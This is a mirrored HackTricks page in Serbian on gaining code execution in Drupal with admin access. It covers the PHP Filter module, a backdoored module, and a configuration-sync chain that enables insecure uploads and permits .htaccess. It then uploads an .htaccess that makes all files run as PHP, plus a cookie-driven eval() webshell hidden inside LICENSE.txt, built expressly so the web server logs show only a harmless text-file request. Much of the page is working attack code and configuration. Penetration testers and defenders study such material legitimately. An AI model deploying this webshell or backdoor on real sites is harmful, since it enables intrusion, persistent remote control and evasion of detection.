mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
228 lines
9.4 KiB
Markdown
228 lines
9.4 KiB
Markdown
# Drupal RCE
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Sa PHP Filter Modulom
|
|
|
|
> [!WARNING]
|
|
> U starijim verzijama Drupala **(pre verzije 8)**, bilo je moguće prijaviti se kao administrator i **omogućiti `PHP filter` modul**, koji "Omogućava evaluaciju ugrađenog PHP koda/snippeta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.
|
|
|
|
1. Idite na **/modules/php** i ako se vrati greška 403, onda je **PHP filter plugin instaliran i možete nastaviti**
|
|
1. Ako nije, idite na `Modules` i označite kutiju `PHP Filter`, a zatim kliknite na `Save configuration`
|
|
2. Zatim, da biste to iskoristili, kliknite na `Add content`, zatim odaberite `Basic Page` ili `Article` i napišite **PHP backdoor**, zatim odaberite `PHP` kod u Text formatu i konačno odaberite `Preview`
|
|
3. Da biste to aktivirali, jednostavno pristupite novonastalom čvoru:
|
|
```bash
|
|
curl http://drupal.local/node/3
|
|
```
|
|
## Instalirajte PHP Filter Modul
|
|
|
|
> [!WARNING]
|
|
> U trenutnim verzijama više nije moguće instalirati dodatke samo imajući pristup vebu nakon podrazumevane instalacije.
|
|
|
|
Od verzije **8 nadalje,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **modul nije instaliran podrazumevano**. Da bismo iskoristili ovu funkcionalnost, morali bismo **sami instalirati modul**.
|
|
|
|
1. Preuzmite najnoviju verziju modula sa Drupal veb sajta.
|
|
1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz`
|
|
2. Kada se preuzme, idite na **`Administration`** > **`Reports`** > **`Available updates`**.
|
|
3. Kliknite na **`Browse`**, izaberite datoteku iz direktorijuma u koji smo je preuzeli, a zatim kliknite na **`Install`**.
|
|
4. Kada je modul instaliran, možemo kliknuti na **`Content`** i **napraviti novu osnovnu stranicu**, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno **izaberite `PHP code` iz `Text format` padajuće liste**.
|
|
|
|
## Modul sa Bekdorom
|
|
|
|
> [!WARNING]
|
|
> U trenutnim verzijama više nije moguće instalirati dodatke samo imajući pristup vebu nakon podrazumevane instalacije.
|
|
|
|
Bilo je moguće **preuzeti** **modul**, dodati mu **bekdor** i **instalirati** ga. Na primer, preuzimanje [**Trurnstile**](https://www.drupal.org/project/turnstile) modula u komprimovanom formatu, kreiranje novog PHP bekdor fajla unutar njega, omogućavajući pristup PHP fajlu sa **`.htaccess`** fajlom:
|
|
```html
|
|
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
|
|
```
|
|
I zatim idemo na **`http://drupal.local/admin/modules/install`** da instaliramo modul sa backdoor-om i pristupimo **`/modules/turnstile/back.php`** da ga izvršimo.
|
|
|
|
## Backdooring Drupal sa sinhronizacijom konfiguracije <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
|
|
|
**Post koji je podelio** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
|
|
|
### Deo 1 (aktivacija _Media_ i _Media Library_)
|
|
|
|
U meniju _Extend_ (/admin/modules), možete aktivirati ono što se čini kao već instalirani dodaci. Po defaultu, dodaci _Media_ i _Media Library_ se ne čine aktiviranim, pa hajde da ih aktiviramo.
|
|
|
|
Pre aktivacije:
|
|
|
|
<figure><img src="../../../images/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Posle aktivacije:
|
|
|
|
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../images/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Deo 2 (iskorišćavanje funkcije _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
|
|
|
Iskoristićemo funkciju _Configuration synchronization_ da dump-ujemo (izvezemo) i upload-ujemo (import-ujemo) Drupal konfiguracione unose:
|
|
|
|
- /admin/config/development/configuration/single/export
|
|
- /admin/config/development/configuration/single/import
|
|
|
|
**Patch system.file.yml**
|
|
|
|
Hajde da počnemo sa patch-ovanjem prvog unosa `allow_insecure_uploads` iz:
|
|
|
|
File: system.file.yml
|
|
```
|
|
|
|
...
|
|
|
|
allow_insecure_uploads: false
|
|
|
|
...
|
|
|
|
```
|
|
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Na:
|
|
|
|
Fajl: system.file.yml
|
|
```
|
|
|
|
...
|
|
|
|
allow_insecure_uploads: true
|
|
|
|
...
|
|
|
|
```
|
|
<figure><img src="../../../images/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Patch field.field.media.document.field_media_document.yml**
|
|
|
|
Zatim, zakrpite drugi unos `file_extensions` iz:
|
|
|
|
File: field.field.media.document.field_media_document.yml
|
|
```
|
|
|
|
...
|
|
|
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
|
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
|
|
|
...
|
|
```
|
|
<figure><img src="../../../images/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Da:
|
|
|
|
Fajl: field.field.media.document.field_media_document.yml
|
|
```
|
|
...
|
|
|
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
|
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
|
|
|
...
|
|
|
|
```
|
|
> Ne koristim to u ovom blog postu, ali je zabeleženo da je moguće definisati unos `file_directory` na proizvoljan način i da je podložan napadu prečicom (tako da možemo da se vratimo unazad unutar Drupal datotečnog stabla).
|
|
|
|
<figure><img src="../../../images/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Deo 3 (iskorišćavanje funkcije _Dodaj dokument_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
|
|
|
Poslednji korak je najjednostavniji i deli se na dva pod-koraka. Prvi je da se otpremi datoteka u .htaccess formatu kako bi se iskoristile Apache direktive i omogućilo da .txt datoteke budu interpretirane od strane PHP engine-a. Drugi je da se otpremi .txt datoteka koja sadrži naš payload.
|
|
|
|
Datoteka: .htaccess
|
|
```
|
|
<Files *>
|
|
SetHandler application/x-httpd-php
|
|
</Files>
|
|
|
|
# Vroum! Vroum!
|
|
# We reactivate PHP engines for all versions in order to be targetless.
|
|
<IfModule mod_php.c>
|
|
php_flag engine on
|
|
</IfModule>
|
|
<IfModule mod_php7.c>
|
|
php_flag engine on
|
|
</IfModule>
|
|
<IfModule mod_php5.c>
|
|
php_flag engine on
|
|
</IfModule>
|
|
```
|
|
Zašto je ovaj trik cool?
|
|
|
|
Zato što kada se Webshell (koji ćemo nazvati LICENSE.txt) postavi na Web server, možemo prenositi naše komande putem `$_COOKIE` i u logovima Web servera, ovo će se prikazati kao legitimni GET zahtev za tekstualnom datotekom.
|
|
|
|
Zašto nazvati naš Webshell LICENSE.txt?
|
|
|
|
Jednostavno zato što ako uzmemo sledeću datoteku, na primer [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (koja je već prisutna u Drupal jezgru), imamo datoteku od 339 linija i 17.6 KB veličine, što je savršeno za dodavanje malog isječka PHP koda u sredinu (pošto je datoteka dovoljno velika).
|
|
|
|
<figure><img src="../../../images/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Datoteka: Patched LICENSE.txt
|
|
```txt
|
|
|
|
...
|
|
|
|
this License, you may choose any version ever published by the Free Software
|
|
Foundation.
|
|
|
|
<?php
|
|
|
|
# We inject our payload into the cookies so that in the logs of the compromised
|
|
# server it shows up as having been requested via the GET method, in order to
|
|
# avoid raising suspicions.
|
|
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
|
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
|
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
|
} else {
|
|
phpinfo();
|
|
}
|
|
}
|
|
|
|
?>
|
|
|
|
10. If you wish to incorporate parts of the Program into other free
|
|
programs whose distribution conditions are different, write to the author
|
|
|
|
...
|
|
|
|
```
|
|
#### **Deo 3.1 (upload fajl .htaccess)**
|
|
|
|
Prvo, koristimo funkciju _Add Document_ (/media/add/document) da otpremimo naš fajl koji sadrži Apache direktive (.htaccess).
|
|
|
|
<figure><img src="../../../images/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../images/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../images/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Deo 3.2 (upload fajl LICENSE.txt)**
|
|
|
|
Zatim, ponovo koristimo funkciju _Add Document_ (/media/add/document) da otpremimo Webshell skriven unutar fajla sa licencom.
|
|
|
|
<figure><img src="../../../images/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../images/image (12) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../images/image (13) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Deo 4 (interakcija sa Webshell-om) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
|
|
|
Poslednji deo se sastoji od interakcije sa Webshell-om.
|
|
|
|
Kao što je prikazano na sledećem snimku ekrana, ako kolačić koji očekuje naš Webshell nije definisan, dobijamo sledeći rezultat kada konsultujemo fajl putem Web pretraživača.
|
|
|
|
<figure><img src="../../../images/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Kada napadač postavi kolačić, može da interaguje sa Webshell-om i izvrši bilo koje komande koje želi.
|
|
|
|
<figure><img src="../../../images/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
I kao što možete videti u logovima, izgleda da je samo txt fajl zatražen.
|
|
|
|
<figure><img src="../../../images/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Hvala što ste odvojili vreme da pročitate ovaj članak, nadam se da će vam pomoći da dobijete neke shell-ove.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|